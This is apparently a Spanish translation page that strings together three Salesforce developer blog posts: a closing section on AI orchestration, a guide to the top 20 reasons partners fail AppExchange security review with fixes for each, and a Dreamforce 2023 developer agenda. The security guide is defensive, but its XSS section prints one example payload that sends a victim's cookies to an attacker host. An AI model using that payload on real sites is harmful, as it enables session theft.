Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.
El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.
El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.
En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.
El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.
La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.
El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.
Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.
Añadir a holgura Suscríbete a RSS
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.
Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.
Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.
Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.
El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE
en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa
en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.
Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult
(es decir, métodos como isCreatable()
, isUpdateable()
, isDeletable()
), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.
El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .
Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .
Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.
Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.
Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.
Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.
Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing
al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.
Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing
(o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .
Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:
Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:
Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .
Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.
Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.
Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.
Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.
Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .
Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.
En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.
Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.
Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.
Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.
En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.
En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.
Para páginas de Visualforce:
Para componentes Lightning:
init
(para Aura) ,connectedCallback
, renderedCallback
o constructor
.Al realizar llamadas API:
CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.
Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.
Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.
En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.
Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>
).
Los motivos por los que su aplicación podría ser susceptible incluyen:
innerHTML
, lwc:dom=”manual”
o el componente lightning:formattedRichText
sin la validación de entrada adecuada.Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:
eval()
, DOMParser.parseFromString()
, Document.implementation.createHTMLDocument()
, setTimeout()
, setInterval()
)Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.
Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script>
. La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.
Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript>
en su página (para Visualforce) o un ltng:require
en su .cmp o .app. marcado (para Aura).
Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript
para cargar un archivo JavaScript de recursos estáticos.
Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.
Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.
Obtenga más información sobre este problema en nuestra documentación para desarrolladores .
La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.
La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .
Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.
Similar al problema de usar etiquetas <script>
o <link>
para cargar JavaScript en sus paquetes, usar etiquetas <link>
o <style>
para cargar CSS en lugar de <apex:stylesheet>
(Visualforce) o <ltng:require>
( Aura) se considera una práctica insegura. Estas etiquetas <link>
y <style>
pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.
Para los componentes de Aura, en particular, el uso de <ltng:require>
también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.
Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet>
en su página (para Visualforce) o una etiqueta <ltng:require>
en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link>
o <style>
en ningún lugar para cargar recursos CSS.
Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script>
, las etiquetas <style>
ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle
para cargar un archivo CSS de recursos estáticos.
Puede encontrar más información en nuestra documentación para desarrolladores .
Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.
En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).
Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.
Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType>
en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.
Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).
En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.
Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc
La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.
También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .
Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.
Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.
Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.
Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed
en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.
Tiene dos opciones, según su caso de uso, que incluyen:
isExposed=false
. Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true
no pueden cambiar isExposed=false
. Utilice únicamente el componente recién creado en el código.Más información está disponible en la documentación .
Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:
Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.
La guía OWASP es un gran recurso a seguir.
El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.
Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .
Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.
Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.
Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.
Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.
Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.
OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.
En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:
Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:
Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).
Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.
Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).
Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.
Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.
Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.
Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.
Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .
Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.
Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.
Añadir a holgura Suscríbete a RSS
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
¡Llamando a todos los desarrolladores de Salesforce! ¿Estás listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres días como ninguna otra, así que prepárate para aprender, conectarte, divertirte y retribuir rodeado de compañeros innovadores en la conferencia de tecnología más grande del mundo.
Sabemos que está contando ansiosamente los días hasta que comience Dreamforce, así que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones prácticas en acción en Developer Grove.
AI + Data + CRM están cambiando rápidamente el futuro de los negocios y los desarrolladores están a la vanguardia. Únase al presidente y director de ingeniería, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y cómo puede aprovechar la IA en su trabajo.
Si asistirá a Dreamforce en persona, asegúrese de agregar la conferencia magistral a su agenda . Si lo seguirá desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .
📅 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pacífico
🎤 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
❗ Añadir a tu agenda
Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versión Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versión que ¡no querrás perderte esto!
📅 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pacífico
🎤 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
❗ Añadir a tu agenda
Developer Track ofrece una combinación de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores prácticas, consejos y mucha inspiración. ¡Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y más.
📍 Las sesiones de calentamiento se ubicarán en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevarán a cabo en el segundo y tercer piso de Moscone West. Asegúrese de consultar su agenda para conocer la ubicación exacta de las habitaciones.
Para encontrar estas sesiones en el catálogo de sesiones de Dreamforce , seleccione Función en la navegación izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.
Descubra el poder de Einstein GPT para desarrolladores
Qué esperar: La IA generativa ha arrasado en el mundo de la tecnología. Conozca las capacidades más recientes de Einstein GPT y cómo los desarrolladores pueden utilizar la tecnología para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-García, Ananya Jha
❗ Añade esta sesión a tu agenda
Comprensión de la nube de datos para desarrolladores de Salesforce
Qué esperar: aprenda qué significa Data Cloud para los desarrolladores, cómo se exponen sus artefactos como metadatos de plataforma familiares y cómo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
❗ Añade esta sesión a tu agenda
¿Quieres un mejor código? Einstein GPT y Code Analyzer pueden ayudar
Qué esperar: Impulse el desarrollo de Salesforce con el dúo dinámico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda cómo optimizar la generación y validación de código directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
❗ Añade esta sesión a tu agenda
Componentes web Lightning: novedades y novedades
Qué esperar: aprenda cómo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea más fácil y eficiente. Vea las últimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
❗ Añade esta sesión a tu agenda
Hoja de ruta de Apex: novedades y novedades
Qué esperar: Los gerentes de producto de Salesforce profundizarán en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
❗ Añade esta sesión a tu agenda
Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qué esperar: Sumérgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a cómo redactar consultas con IA generativa.
Oradores destacados: Julián Duque, Ben Sklar
❗ Añade esta sesión a tu agenda
Desarrollar componentes web Lightning para dispositivos móviles sin conexión
Qué esperar: ¿ Usuarios móviles sin conexión? Aprenda cómo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo móvil está desconectado de Internet.
Oradora destacada: Angela Le
❗ Añade esta sesión a tu agenda
Gestionar dependencias y conflictos en el Centro DevOps
Qué esperar: profundice en cómo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas más comunes, como la resolución de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
❗ Añade esta sesión a tu agenda
Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qué esperar: Únase a esta sesión para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores prácticas, consejos y trucos, antipatrones y más con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
❗ Añade esta sesión a tu agenda
Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres días .
